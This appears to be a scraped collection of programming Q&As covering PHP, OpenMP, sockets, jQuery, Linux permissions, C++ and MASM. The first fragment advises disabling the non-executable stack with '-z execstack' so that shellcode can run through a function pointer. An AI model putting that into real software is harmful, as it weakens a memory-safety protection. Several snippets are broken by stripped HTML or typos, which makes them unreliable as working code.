You can see this when you compile your code with -pedantic-errors option in GCC which gives the following error.
<source>: In function 'main':
<source>:11:6: error: ISO C forbids conversion of object pointer to function pointer type [-Wpedantic]

See live demo here.

A: The solution to this is probably setting the executable stack option during compilation by using the -z execstack with GCC.
It has something to do with the way the shellcode is being called via a pointer to a function. The pointer is being passed around and ends up being on the stack during the call trampoline, and so the stack must be executable for it to work.


text:
Q: What is the role of column "IS CLOSED" in magento's transactions area? I can see that the capture has been processed successfully:

But then on the "transactions" screen, "Is Closed" column is saying "no" next to capture. I think I just don't understand the role of this column. Can someone help explain it to me?

A: A little background on the credit card payment transaction process flow helps make sense of this. These are the basic flow actions of the transaction lifecycle:

*

*Authorization

*Capture

*Settlement

These flow actions are broken down into more specific operations that can be called against the payment gateway. Here are some basic ones that are relevant:

Authorize (AUTH_ONLY):
Run the card for a given amount and obtain a unique authorization code. The amount will be put on hold and you are guaranteed these funds as long as you use the authorization code in a Capture transaction within 30 days. (How long before an authorization code expires varies by company. Check with your payment gateway)
Customers don't see the authorization as a charge on their statement, but they will see their available funds decrease by the amount you ran the authorization for.
If you don't use the authorization code in a follow-up Capture transaction, the authorization is "dropped", funds returned to the customer's balance and you can no longer use it.
Capture (PRIOR_AUTH_CAPTURE):
Use a previously obtained authorization code to complete the transaction.
The amount captured can be lower than the originally obtained authorization amount (this is useful in cases like our example where you don't know the total order amount ahead of time).

Source: http://www.softwareprojects.com/resources/conversion-traffic-to-cash/t-processing-payments-authorize-vs-capture-vs-settle-2030.html

Settlement: This is the process merchants must complete ... to be paid for their transactions.
The product or service must be delivered or performed before settlement can take place. In the case of mail order/telephone order, this specifically means the goods must be shipped before the settlement process is performed.

Source: http://www.shift4.com/insight/glossary/
In Magento, the is_closed flag signifies that a transaction is settled and no other operations may be performed against it. The reason a transaction would be left open until settlement is so that you can do partial shipments of goods (multiple captures), as well as void or refund the transaction.
To use Magento's Mage_Authorizenet_Model_Directpost as an example, the capture() operation leaves the current transaction open, while void() and _refund() operations close it.


text:
Q: how to update the date in database table I want to update my databse to change all the different formats of dates into one format. I want to update different time formats into the format 2016-12-22.
I get this error:

250 Fatal error: Uncaught exception 'Exception' with message
  'DateTime::__construct(): Failed to parse time string ($res1) at
  position 0 ($): Unexpected character' in
/hermes/walnaweb13a/b775/moo.manhassurinder/singhaniafarm/test.php:22
Stack trace: #0
  /hermes/walnaweb13a/b775/moo.manhassurinder/singhaniafarm/test.php(22):
DateTime->__construct('$res1') #1 {main} thrown in
  /hermes/walnaweb13a/b775/moo.manhassurinder/singhaniafarm/test.php on
  line 22

    $squery = "SELECT date,id FROM `addCutting` ";
       $sresult = mysqli_query($con,$squery);
       while($row = mysqli_fetch_assoc($sresult))
       {
         "
". $res1= $row['date'];
          echo"
". $res= $row['id'];
         /*  if($res1!= date('y/m/d'))
          {
          $result2=  date_format( new DateTime($res1), 'y/m/d' );
          echo $result2;
          }
       }
        */

/* $date1 = new DateTime($res1);
echo $date1->format('Y-m-d'); echo "
"; */
    $date = new DateTime('$res1');
     echo $date->format('Y-m-d');

}

A: while($row = mysqli_fetch_assoc($sresult))
{
    $date= $row['date'];
    $formated_date = date('Y-m-d',strtotime($date));

    echo $formated_date;
}

Try this hope it works
Referal Link on strtotime click here

A: I think what you what is this instead of the last 2 lines
$formated = "";
if(!emtpy($res1)){
    $date = new DateTime($res1);
    if(!emtpy($date)){
        $formated = $date->format('Y-m-d');
    }
}

echo $formated;


text:
Q: Get columns from MySQL and display in PHP I`ve created table where i want to store some page content
CREATE TABLE `option` (
  `id` int(11) NOT NULL,
  `parametr` text COLLATE utf8_unicode_ci NOT NULL,
  `value` text COLLATE utf8_unicode_ci NOT NULL,
  `status` text COLLATE utf8_unicode_ci NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

For example filled with this parametrs
id  parametr      value                    status
1   title         test                     active
2   subtitle      subtest                  active
3   category      machine                  active
4   description   detailed_description     active

Then i want to display only choosen id in different parts of page.
Currently i'm doing this as below, however it`s not allowed me to display multiple parametrs in different places without starting placing the same code in new place where i want it ( test,subtest,detailed_description and somewhere machine)

    <?php
     $sel_option = "SELECT value FROM option WHERE status = 'active' AND id = '1' ";
     $run_option = mysqli_query($connect,$sel_option);
     while ($rows = mysqli_fetch_assoc($run_option)) {
     echo '
'.$rows['value'].'
';}
     ?>

How to do it with different way ?

A: I am not pretty sure what you need exactly, but if I understood well, you don't want to run the query every time you need to show a title, subtitle, category or description, right?
Try it:

Ronaldo

The Brazilian Soccer Player Legend

Soccer

Ronaldo Luís Nazário de Lima commonly known as Ronaldo.


text:
Q: Branching a recursive function using OpenMP at top level Context:
Suppose I have a function f with a non-fixed branching factor b. The execution starts at a depth of 0, and stops at a given, fixed depth. I want to parallelize the execution of f such that, when the depth is 0, each branch of depth 1 and its entire execution at depths greater than 1 will go and execute onto a distinct thread (onto the same thread).
I'm using OpenMP to achieve this, but I'm having trouble undestanding the effects of pragmas on recursive code (more precisely variables in the code). Basically, my problem is reduced to the following code (which does not behave correctly):
#include <stdio.h>
#include "omp.h"

int b = 6;
int maxDepth = 4;

void f(int depth) {
    if (depth == maxDepth)
        return;
    {
        int i;
        for (i = 0; i < depth; i++) printf("   ");
    }
    printf("D %d TID %d\n", depth, omp_get_thread_num());
    if (!depth) {
        int i;
        #pragma omp parallel for private(i)
        for (i = 0; i < b; i++) {
            f(depth+1);
        }
    }
    else {
        int i;
        for (i = 0; i < b; i++) {
            f(depth+1);
        }
    }
}

int main() {
    omp_set_num_threads(4);
    f(0);
    printf("\n");

    return 0;
}

With regards to the code above, how should I set the privacy (shared, private) of the variables using pragmas, to what variables should I apply this, and why?

A: Instead of #pragma omp for directive, try using tasks.
On the most recent OpenMP standards there is a new loop directive that is used for task creation: #pragma omp taskloop.
Another way of achieving the same goal is to split your function f() in two:
void f(int depth) {
    int i;
    #pragma omp parallel private(i)
    {
      //#pragma omp for or ...
      #pragma omp single
      #pragma omp taskloop
      for (i = 0; i < b; i++) {
        f_nontopmost(depth+1);
      }
      // taskloop will implicitly wait for all created tasks
      // at the end
    }
}

void f_nontopmost(int depth) {
    if (depth == maxDepth)
        return;

    int i;
    // since we are in parallel section, we can still create tasks
    #pragma omp taskloop
    for (i = 0; i < b; i++) {
        f(depth+1);
    }
}


text:
Q: Convert an html Object to a String and Output the String using jQuery I'm ultimately trying to find all image tags on a page and print out the ones without alt tags.
Right now I have this:
var str = '';
var imagesWithoutAlt = $( str ).filter( 'img:not([alt])' );
var newString = new String( $( imagesWithoutAlt ).clone().html());
$(document.body).append($('<textarea rows="6" cols="40"/>').text( newString );

But this is failing to output anything. Help?

A: Working Demo: http://jsfiddle.net/pkdtg/
var str = '';
var imagesWithoutAlt = $(str).filter('img:not([alt])');
var newString = $(imagesWithoutAlt).clone().wrapAll("
").parent().html();
$(document.body).append($('<textarea rows="6" cols="40"/>').text(newString));

I added .wrapAll("
").parent()


text:
Q: retrieving ip and port from a sockaddr_storage I've got a sockaddr_storage containing the ipv4 address and port of a remote host. I haven't seen these structs before though and I'm not sure how to cast it into a struct where I can directly retrieve IP address and port number. I've tried googling the struct but haven't found anything. Any suggestions on how to do this?
Thanks

A: You can cast the pointer to struct sockaddr_in * or struct sockaddr_in6 * and access the members directly, but that's going to open a can of worms about aliasing violations and miscompilation issues.
A better approach would be to pass the pointer to getnameinfo with the NI_NUMERICHOST and NI_NUMERICSERV flags to get a string representation of the address and port. This has the advantage that it supports both IPv4 and IPv6 with no additional code, and in theory supports all future address types too. You might have to cast the pointer to void * (or struct sockaddr * explicitly, if you're using C++) to pass it to getnameinfo, but this should not cause problems.

A: To extend an answer above and provide a code that uses getnameinfo function, check this snippet:
struct sockaddr_storage client_addr;
socklen_t client_len = sizeof(struct sockaddr_storage);

// Accept client request
int client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);

char hoststr[NI_MAXHOST];
char portstr[NI_MAXSERV];

int rc = getnameinfo((struct sockaddr *)&client_addr, client_len, hoststr, sizeof(hoststr), portstr, sizeof(portstr), NI_NUMERICHOST | NI_NUMERICSERV);
if (rc == 0) printf("New connection from %s %s", hoststr, portstr);

The result is that a hoststr contains an IP address from struct sockaddr_storage and a portstr contains a port respectively.


text:
Q: Radio function in jQuery POST input Pressing the button Index.php page, through sending the data to the script Resultx.php page, which responds with an asynchronous call on the same page Index.php.
index.php

<form name="testa" id="input_form" action="" method="post" class="form-shorten" onsubmit="return checkForm(this);">
 <input type="text" name="fett" class="form-control input-lg"  id="fett" required>

    <button name="invio" type="submit" class="btn" value="Send" onclick="loadDoc()"> Send</button>
        </form>

I wanted to add options with the "radio function" which may send along with the variable fett, also the variable taskOption to Resultx.php page.

          <input class="radio-inline select" type="radio" name="taskOption" id="taskOption1" value="taskOption1"> option1

         <input class="radio-inline select" type="radio" name="taskOption" id="taskOption2" value="taskOption2"> option2

Resultx.php
<?php
$fett = $_POST["fett"];   // ok
$taskOptionOK = $_POST["taskOption"]; // This is what I need
echo "$fett ";
echo "$taskOptionOK ";
?>

I know this is trivial but to me jQuery is kryptonite.

A: To get the value of a checked checkbox/radio you can try this:
var taskOption = $('input[name=taskOption]:checked').val();


text:
Q: Angular 2 get key and value from json array with dynamic key I want to get key and value from json array with dynamic keys. Meaning, I don't know in advance what will be the keys.
This is an example to the json the function gets:
arr = [
       {key1: 'val1'},
       {key2: 'val2'},
       {key3: 'val3'}
      ];

It seems simple to me but I am unable to get the key and value for each item.
This is what I tried (based on this pipe):
for (let key of arr) {
   console.log ('key: ' +  key + ',  value: ' + arr[key]);
 }

But what I get in the log is the following:
key:[object Object], value: undefined

My expected behavior is to get the following:
key:key1, value:val1

What am I doing wrong? How can I get the keys and values?

A: If you are more concerned to specify object like
var temp={'name':Dinesh,'age':18}

You may use following syntax.
console.log(Object.keys(temp)[0],Object.values(temp)[0]):

Specially zero index because object's both method keys and values return an array

A: You need another for loop to access key and value,
for (let key of this.arr) {
 for(var i in key){
      console.log('key: ' +  i + ',  value: ' + key[i]);
 }
}

Check the console
DEMO

A: In your example, you have an array of objects and each of these object has exactly one property.
for (let obj of arr) {
    console.log("object:", obj);
    for (let key in obj) {
        console.log("      key:", key, "value:", obj[key]);
    }
}

The following code from your posting
for (let key in arr) {
    console.log ('key: ' +  key + ',  value: ' + arr[key]);
}

... would work on a data structure like this:
let arr = {
    key1: 'val1',
    key2: 'val2',
    key3: 'val3'
};

A: yourObject.forEach(function(value, index){
   // do your job
   console.log(value, index);
});

A: You can try these
object = [
{
  "id": 1,
  "test": "test1",
  "name": ["abc", "pqr"]

},
{
  "id": 2,
  "test": "test2",
  "name": ["abc2", "pqr2"]

},
{
  "id": 3,
  "test": "test3",
  "name": ["abc3", "pqr3"]

},
{
  "id": 4,
  "test": "test4",
  "name": ["abc4", "pqr4"]

}]

and your js or typescript code be like:-
YourMethod() {
for (let item of this.object) {
  for (let i in item) {
    if (typeof (item[i]) === 'object') {
      item[i].forEach((e: any) => {
        console.log("runseprate", e)
      })
    }
  }
}}

A:    json = {payload.InsuredMobileNumber.type: "string"
payload.accidentTime.type: "string"
payload.causeOfLoss.type: "string"
payload.claimRegistrationDate.type: "string"
payload.emailAddress.type: "string"}

 var keyData = Object.keys(json);
          var valueData = Object.values(json)
          console.log("keyData = ", keyData)
          console.log("valueData = ", valueData)


text:
Q: chroot an user to more than one directory in different locations I would like to know how I can constraint a user to only be able to access and have RWX permissions to directories like /etc/httpd, /etc/php and /var/www/html as well as its own home directory.
Also I would like to be able to constraint this user to be able to only star/stop/restart apache service.
All I could think of is chroot, but I have just done that with one directory. Any ideas?

A: A jailed user won't be able to access those folders as-is.  If you have acl enabled on the filesystem, you could create a regular user and control access to the directories by using an access control list.
To give user 'Bob' access to the directories, create a group, place Bob in that group and then recursively give the group access to all existing and newly created files in /etc/http/:
# groupadd WebAccessGroup
# usermod -a -G WebAccessGroup Bob
# setfacl -Rm d:g:WebAccessGroup:rwx,g:WebAccessGroup:rwx /etc/httpd/

You could also give just user "Bob" wrx access to /etc/httpd without creating a group:
# setfacl -Rm d:u:Bob:rwx,u:Bob:rwx /etc/httpd/

To allow the WebAccessGroup group to start and stop Apache, you could give the group sudo access to run the specific script that you call to start/stop Apache as root:
Use the 'visudo' command to add the following to your /etc/sudoers file:
# visudo
%WebAccessGroup   ALL=(root)    NOEXEC: /usr/bin/httpd

And then Bob would start Apache using sudo:
$ sudo /usr/sbin/httpd -k start

** Note: If you run Apache on a non-standard port as a non root user ("anotheruser" in this example), it's safer and better to change All=(root) to All=(anotheruser) and to run the start command like:
sudo -u anotheruser /usr/sbin/httpd -k start

A: On Linux, you could use bind mounts to make other directories visible within a chroot:
# mkdir -p /users/chroot/var/www/html
# mount --bind /var/www/html /users/chroot/var/www/html
etc.

To allow a user to restart a single service, you could use sudo and allow the user to run commands like service apache2 restart, and the like.
Having the user in a chroot and allowing the user to restart a service that lives outside the chroot might be difficult, though. It would require everything required by the service manager (systemd?) to be visible in the chroot. At that point, it's probably easier to run the whole server inside the same chroot (or container, or virtual machine).


text:
Q: Which NodeJS frameworks are suitable to build a complete backend for a Nativescript app (JS-based)? I am now building a native mobile application in Nativescript, leveraging my JS knowledge.
So, I though to switch to some other Nodejs framework.
My app's backend requirements will be:

*

*pure JS

*complete backend logic (i.e. controller)

*connect to a MongoDB database

*RESTful

*non-frontend-dependent

*non-DOM-dependent

*easy-yet-complete to use: should be a framework which gives strong foundations to make a solid and efficient backend for a (relatively) inexperienced backend developer (except for Java basics and experience with pure PHP)

I was considering using my existing knowledge of Meteor but I can't implement any existing experiment of using ddp and websockets in it.
Some of the possibilities I was considering to give a try to:

*

*Loopback

*Total.js

*Hapi.js

*Sail.js

*I am fine with any JS-based framework, whether it's NodeJS based or not

*I am also open to a REST API solution which exposes Meteor backend, as long as is doesn't require ddp to be usable (it's not very clear to me what are the limits of non using DDP when using Meteor)

Any concrete advice, which would eventually avoid me trying all of them, before discovering they don't work with Nativescript or don't satisfy my requirements?

A: SailsJs is a wrapper around express.js with many add-ons and shortcuts that eases your life and shortens the code required to write, and it's very much suitable to write RESTful apps.
HAPI and Total, I didn't use them myself, but there are very good reviews about them, but when it comes to Sails, it's the highest in popularity, hence, better tested and used, which leads to a more mature framework over the time.
Loopback is good, but it requires payment at some point of usage, and still Sails is more popular.
Meteor.js is great, but it's not the right tool for that job, and it might take you more effort to make it as an easy to use RESTful framework, not to mention the un-needed memory and processing overhead, which has it's uses, but not in RESTful case. I tried to use it to write RESTful apps but didn't feel the ease and the low memory footprint as I experienced with express and Sails.
Update
Sails has clear and easy to use MVC style, with a command line to generate apis, configure-and-fine-tune-later APIs style, which is very much needed in prototyping and PoC applications, as well as short time to market.
Update 2
Sails ORM supports both SQL and NoSQL DBs, with dozen of supported drivers out there


text:
Q: Type casting error in Visual C++ The following code is illustrating data file handling in text mode.
Here's my code:
#include "stdafx.h"
#include "fstream"
#include "conio.h"
#include "string"
#include "iostream"

using namespace std;

int count = 0;

class student
{
    char name[50], grade;
    float mks;
public:
    student()
    {
        mks = 0;
    }
    void getdata();
    void putdata();
    void moddata();
};
void student :: getdata()
{
    cout << "Enter data for record number: " << "(++count)" << ": ";
    cout << "\nEnter name of the student: ";
    cin >> name;
    cout << "\nEnter marks: ";
    cin >> mks;
    cout << "\nEnter grade: ";
    cin >> grade;
    _getch();
}
void student :: putdata()
{
    cout << "\nDisplaying data of required record: ";
    cout << "\nName: " << name << "\nMarks: " << mks << "\nGrade: " << grade;
    _getch();
}
void student :: moddata()
{
    cout << "Enter correct details:-" << endl;
    cout << "Enter name: ";
    cin >> name;
    cout << "\nEnter marks: ";
    cin >> mks;
    cout << "\nEnter grade: ";
    cin >> grade;
    _getch();
}

int _tmain(int argc, _TCHAR* argv[])
{
    fstream stu ("stud.txt", ios::in | ios::out);
    student s1;
    char ans = 'y';
    int ch, offset, mrec;
    do
    {
        cout << "\nMAIN MENU:" << endl;
        cout << "1. Add Record" << endl;
        cout << "2. Modify Record" << endl;
        cout << "3. Display Record" << endl;
        cout << "4. Exit" << endl;
        cout << "Enter your choice (1-4): ";
        cin >> ch;
        switch (ch)
        {
        case 1: s1.getdata();
                stu.write ( (char*) &s1, sizeof (student) );
                break;
        case 2: if (!count)
                {
                    cout << "No record added yet. Type option number first.";
                    _getch();
                    break;
                }
                cout << "Enter the record number to be modified: ";
                cin >> mrec;
                if (mrec > count)
                {
                    cout << "Error. Only " << count << " records have been added.";
                    _getch();
                    break;
                }
                offset = (mrec - 1)* sizeof (student);
                stu.seekg (offset);
                stu.read ( (char*) &s1, sizeof (student) );    //C2440
                s1.putdata();
                cout << "Do you want to modify your record (y/n): ";
                cin >> ans;
                if (ans == 'y' || ans == 'Y')
                {
                    s1.moddata();
                    stu.seekg(offset);
                    stu.write ( (char)* &s1, sizeof (student) );
                    break;
                }
                break;
        case 3: if (!count)
                {
                    cout << "No record added yet. Type option number first.";
                    _getch();
                    break;
                }
                cout << "Enter record number to be displayed: ";
                cin >> mrec;
                if (mrec > count)
                {
                    cout << "Error. Only " << count << " records have been added.";
                    _getch();
                    break;
                }
                offset = (mrec - 1)*, sizeof (student);
                stu.seekg (offset);
                stu.read ( (char)* &s1, sizeof (student) );    //C2440
                s1.putdata();
                break;
        case 4: break;
        default: cout << "Wrong choice.";
        }
    } while (ch != 4);
    _getch();
    return 0;
}

I'm getting error number
 C2440: 'type cast' : cannot convert from 'student' to 'char' 1>       No user-defined-conversion operator available that can perform this conversion, or the operator cannot be called

This seems to be a very weird problem. I don't have much experience with C++, so I can't really come with a solution to this.

A: Don't try to convert a student to a char *. Why would you do that?
Have an auxiliary char * which you can use as a parameter for read(), and then set the data in student.
It might seem that the cast works now, as hmjd suggested, but I urge you not to do it. It just happens that the character array is the first member of the class and it just happens that it's at the same address in memory as the object. But all hell will break lose if you change the order in which the members are declared, or introduce virtual functions, or even use a different compiler.
Don't cast.

A: you should use the member of s1 object that you want to modify, not the object itself


text:
Q: Jquery mobile page not responding to events am trying to run a chat app but the click listeners i have set up are not working. Nothing happens when the user clicks a button. Is something wrong with my code?
This is the jquery/javascript script

And my button in html is;

   <textarea cols="40" rows="8" name="msg" id="msg" placeholder="Message here..."></textarea>
   <input type="button" data-inline="true" id="submit" value="Submit">

Does pageinit have anything to do with it?

A: You've got a problem in your for loop syntax for(var i=0, i < result.length; i++) (the "," after "var i=0" should be a ";")
Perhaps you should try debugging a bit more ;)


text:
Q: Adding 256-bit numbers using Extended Addition in masm x86 i am trying to add 256-bit(32-byte) numbers in masm x86 using visual studio 2019. It almost gives me the results but with some weird numbers i can't figure out. i've been on this for so long please help me figure out what am i doing wrong.
INCLUDE Irvine32.inc
.data
num1 byte 32 DUP(?) ; num1 = 32byte number
num2 byte 32 DUP(?) ; num2 = 32byte number
sum byte 33 DUP(?)  ;sum = 32byte number
getNum1 BYTE "Enter Number1 : ",0
getNum2 BYTE "Enter Number2 : ",0
dispSum BYTE "Sum = ", 0
.code
main PROC

    call getInput ; get input for num1 and num2
    call addNum ; add num1 and num2
    call displaySum ; display the sum

 exit
main ENDP
getInput PROC

    ;get num1
    mov edx, offset getNum1
    call writeString

    mov edx, offset num1
    mov ecx, sizeof num1
    call readString

    ;get num2
    mov edx, offset getNum2
    call writeString

    mov edx, offset num2
    mov ecx, sizeof num2
    call readString

    ret
getInput ENDP

addNum PROC

    mov ecx, lengthof num1 ; counter

    mov esi, offset num1
    mov edi, offset num2
    mov edx, offset sum

    clc ; clear the carry flag

    addition:
        mov al, [esi]
        adc al, [edi] ; add with carry in al

        pushfd
        mov [edx], al ; store the partial sum in sum

        ;increasing the offsets
        inc esi
        inc edi
        inc edx
        popfd
        loop addition

        ;if there is a carry from the heighest bit

        mov byte ptr [edx], 0
        adc byte ptr [edx], 0

    ret
addNum ENDP
displaySum PROC
    pushfd

    mov  esi, offset sum
    mov ecx, lengthof sum ;

    add esi, ecx ; to start from the end of the string i.e, little endian order
    sub esi, 1 ; to point to the last  byte of the number
    mov ebx, type byte ; for the display format for WriteHexB

    ;displaying sum by traversing through each byte
    ;mov edx, offset dispsum
    ;call writeString

    disp:
        mov al, [esi] ; get each byte of the sum
        call writeHexB;for writing the byte integer to the console window in hexadecimal format
        sub esi, 1
    loop disp

    call crlf
    popfd
    ret
displaySum ENDP
END main

Output:
5 + 5 = 00000000000000000000000000000000000000000000000000000000000014006A
where did the 14 and 6 come from?


text:
Q: Error in writing spark dataset to bigquery table I am trying to write a spark dataset using spark(in java) to a bigquery table using spark bigquery connector using the following code:
   inputdata.write().
         .format("bigquery")
          .option("temporaryGcBucket","temp-bucket")
          .mode(SaveMode.Append)
         .option("table","bq-table")
          .save();

I am getting this error:
java.lang.RuntimeException: Failed to write to BigQuery
at com.google.cloud.spark.bigquery.BigQueryWriteHelper.writeDataFrameToBigQuery(BigQueryWriteHelper.scala:86)
at com.google.cloud.spark.bigquery.BigQueryInsertableRelation.insert(BigQueryInsertableRelation.scala:42)
at com.google.cloud.spark.bigquery.BigQueryRelationProvider.createRelation(BigQueryRelationProvider.scala:103)
at org.apache.spark.sql.execution.datasources.SaveIntoDataSourceCommand.run(SaveIntoDataSourceCommand.scala:46)
at org.apache.spark.sql.execution.command.ExecutedCommandExec.sideEffectResult$lzycompute(commands.scala:70)
at org.apache.spark.sql.execution.command.ExecutedCommandExec.sideEffectResult(commands.scala:68)
at org.apache.spark.sql.execution.command.ExecutedCommandExec.doExecute(commands.scala:86)
at org.apache.spark.sql.execution.SparkPlan.$anonfun$execute$1(SparkPlan.scala:131)
at org.apache.spark.sql.execution.SparkPlan.$anonfun$executeQuery$1(SparkPlan.scala:155)
at org.apache.spark.rdd.RDDOperationScope$.withScope(RDDOperationScope.scala:151)
at org.apache.spark.sql.execution.SparkPlan.executeQuery(SparkPlan.scala:152)
at org.apache.spark.sql.execution.SparkPlan.execute(SparkPlan.scala:127)
at org.apache.spark.sql.execution.QueryExecution.toRdd$lzycompute(QueryExecution.scala:83)
at org.apache.spark.sql.execution.QueryExecution.toRdd(QueryExecution.scala:81)
at org.apache.spark.sql.DataFrameWriter.$anonfun$runCommand$1(DataFrameWriter.scala:676)
at org.apache.spark.sql.execution.SQLExecution$.$anonfun$withNewExecutionId$1(SQLExecution.scala:80)
at org.apache.spark.sql.execution.SQLExecution$.withSQLConfPropagated(SQLExecution.scala:127)
at org.apache.spark.sql.execution.SQLExecution$.withNewExecutionId(SQLExecution.scala:75)
at org.apache.spark.sql.DataFrameWriter.runCommand(DataFrameWriter.scala:676)
at org.apache.spark.sql.DataFrameWriter.saveToV1Source(DataFrameWriter.scala:290)
at org.apache.spark.sql.DataFrameWriter.save(DataFrameWriter.scala:271)
Caused by: java.lang.NullPointerException at com.google.cloud.bigquery.connector.common.BigQueryClient.loadDataIntoTable(BigQueryClient.java:532) at com.google.cloud.spark.bigquery.BigQueryWriteHelper.loadDataToBigQuery(BigQueryWriteHelper.scala:87) at com.google.cloud.spark.bigquery.BigQueryWriteHelper.writeDataFrameToBigQuery(BigQueryWriteHelper.scala:66) ... 42 more
I tried everything from partitioning to maxparallelism but I am getting the same error.
My inputdata.count()=1512449943 (Rows in bigquery table)
Can anybody tell me why this is error occurs and any fixes for it?
Thanks in advance!


text:
Q: Angular - cannot send POST request to log in user and don't know whats wrong? I am trying to write a post request to log in a user and nothing works. I can't see why and would be happy about any help! Thanks!!
My controller:
'use strict';
app.controller('loginController', function($scope, $state, $http){
    $scope.submitLogin=function(email,password)
        return $http.post('/login', {email:$scope.email,   password:$scope.password })

//since i have ng-model="email"- I don't actually need to pass in $scope.email but can pass in only email ?!
         .then(function(success){
            if (sucess){
             console.log(success)
             $state.go('stories')
            }
            else {
             console.log('error')
            }
          })
        .catch(function(err){
         console.log("bad")
        })
      })

Part of the HTML:

    email
    <input type="text" class="form-control" required />

    password
    <input type="password" class="form-control" required />

  <button type="submit" class="btn btn-block btn-primary" ng-click="submitLogin()">login</button>
</form>

State:
'use strict';
app.config(function ($stateProvider) {
  $stateProvider.state('login', {
  url: '/login',
  controller:'loginController',
  templateUrl: '/browser/app/login/login.html'
  });
});

A: Put ng-model in input tag.
$scope.submitlogin=function(){
        data={
               email:$scope.email,
               password:$scope.password
              }
           $http.post('/login',data).success(function(){

          });
    }

try in this way.It might work.


text:
Q: Adding elements to one or more static lists with static factory-style constructors I want to maintain a list of buttons which I place in a GUI in a grid-like layout.
I have been using the javax.swing.JButton, and have made my own subclass of it, called ColoredButton.
I want them stored in a static arraylist, so that i can perform the same function on all of them (setting the color). This wasn't too difficult.
NOW I am trying to add the extra feature of separating them out into 3 different types when I initialize them: Corner, Edge, and Center buttons. The thing is, whenever I construct one of these 3 types, I want to add it to the ColoredButton static arraylist, as well as the static arraylist for its specific subtype.
I had seen that using "this" as a parameter to add the current item to the list doesnt work (returns a null pointer because "this" is incomplete).
So instead I have been using factory-style construction.
Here is my superclass ColoredButton and one of its derived classes.
public class ColoredButton extends JButton{
    private static ArrayList <ColoredButton> all;

    protected static void addToColored(ColoredButton B){
        all.add(B);
    }

    public static ColoredButton newColoredButton(){
        ColoredButton B = new ColoredButton();
        ColoredButton.all.add(B);
        return B;
    }

    public static void setAll(Color C){
        for(ColoredButton B: ColoredButton.all)
            B.setBackground(C);
    }
}

public class EdgeButton extends ColoredButton {
    private static ArrayList <EdgeButton> all;

    public static EdgeButton newEdgeButton(){
        EdgeButton B = new EdgeButton();
        EdgeButton.all.add(B);
        addToColored(B);
        return B;
    }

    public static void setAll(Color C){
        for(EdgeButton B: EdgeButton.all)
            B.setBackground(C);
    }
}

Now when I try to do something like this:
EdgeButton B1 = EdgeButton.newEdgeButton();

I get a NullPointerException. The compiler says that the error originated in this line:
EdgeButton.all.add(B);

So where am I going wrong? Why am I getting a null ptr exception?
Thanks in advance!

A: You haven't initialized your list. So, it is still null while you access it.
Change:
private static ArrayList <EdgeButton> all;

to:
private static List<EdgeButton> all = new ArrayList<EdgeButton>();

in both your your classes. Note, you should use interfaces for reference types.


text:
Q: Haskell metaprogramming at runtime What is the easiest way to generate code as a string/AST/some other representation during runtime, and then run the code and compute properties of the resulting values during the same program execution?
The three ways I could think of would be some sort of "eval" function that takes a string or an equivalent expression representing a program and runs it and returns the output, a "reload module" function which dynamically reloads a file during runtime (in which case one could write the generated code to file and then reload), or writing the generated code to a file while including a line in that file which serializes the generated values, running that file, and then reloading those values from the serialization.
Unfortunately, I haven't had any look finding a solution with any of these methods yet - dynamic reloading doesn't appear to be supported, and serialization apparently doesn't work on functions.  Any suggestions?


text:
Q: Remove "index.php" from Codeigniter .htacceess I've been working in Codeigniter for a few days now & everything is going very well, accept I cant for the life of me get rid of the index.php in the url (from localhost/index.php/controller to localhost/controller).
I'm using CIs default index.php.
rewrite is enabled in apache.
$config['index_page'] = "";
$config['uri_protocol'] = 'AUTO';

(Though I've tried the other four settings for URI)
.htaccess looks like this.
<IfModule mod_rewrite.c>
  RewriteEngine on
  RewriteBase /

  RewriteCond $1 !^(index\.php|resources|robots\.txt)
  RewriteCond %{REQUEST_FILENAME} !-f
  RewriteCond %{REQUEST_FILENAME} !-d
  RewriteRule ^(.*)$ index.php?/$1 [L]

  <Files "index.php">
    AcceptPathInfo On
  </Files>
</IfModule>

<IfModule !mod_rewrite.c>
  ErrorDocument 404 /index.php
</IfModule>

I've tried the answers
here
and
here
help would be wonderful
Thank you
P.S.
I'm working in a sub-domain if that matters.

A: Put the following rules to .htaccess file,
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php/$1 [L]

If the above lines don't work then you need to open your CI config file application/config/config.php
In that find the following line
$config['index_page'] = 'index.php';

Change that to:
$config['index_page'] = '';

If that does not work either then try changing uri_protocol to auto in config:
$config['uri_protocol'] = 'AUTO';

A: In .htaccess this could be a problem
RewriteCond $1 !^(indew\.php|resources|robots\.txt)
and make sure that that the rewrite module is enabled How to enable mod_rewrite for Apache 2.2

Or for the RewriteRule line, try changing it to this
RewriteRule ^(.*)$ /index.php/$1 [L]

(the / before the index.php)


text:
Q: PHP - Save to database outside foreach loop I have below foreach loop, which iterates over a bunch of different custom rules my users can apply.
public function parse(Document $document)
{
        $content = $document->text;
        $rules = $document->stream->fieldrules;

        foreach ($rules as $rule) {
            $class = $this->getClass($rule);
            $content = $class->apply($content);

            //Save to database.
            $fieldresult = new FieldRuleResult();
            $fieldresult->create([
                'field_rule_id' => $rule->field_id,
                'document_id' => $document->id,
                'content' => $content
            ]);
        }
}

As you can see, I am calling the database on each iteration. Some users may have up to 50 rules defined, which will then result in 50 insert queries. So I believe I may have encountered a n+1 problem.
I was wondering - what is the best practice here? I've tried searching the Laravel documentation, and found the createMany method. So I tried to refactor the iteration to below:
$result = [];
foreach($rules as $rule)
{
  $class = $this->getClass($rule);
  $content = $class->apply($content);
  $fieldresult = new FieldRuleResult();

  $result[] = [
     'field_rule_id' => $rule->field_id,
     'document_id' => $document->id,
     'content' => $content];
}

return $rules->createMany($result);

Which gives me below error:
Method Illuminate\Database\Eloquent\Collection::createMany does not exist.

Now I imagine that is because $rules returns a collection. I tried to alter it to:
return $document->stream->fieldrules()->createMany($result);

Which gives me below error:
Call to undefined method Illuminate\Database\Eloquent\Relations\HasManyThrough::createMany()

A: There is a method available in the Illuminate/Database/Query/Builder named insert. This method allows you to insert many models in one query. Noted is that this will not, as all multiple in one query methods do, trigger eloquent events.
Like you have already done, store the data in an array and execute the query after your loop is done. However this time you could use insert.
$content = 'your content here...';

$data = [];

foreach($rules as $rule) {

    $class = $this->getClass($rule);

    $content = $class->apply($content);

    $data[] = [
        // ...
        'content' => $content
    ];
}

FieldRuleResult::insert($data);

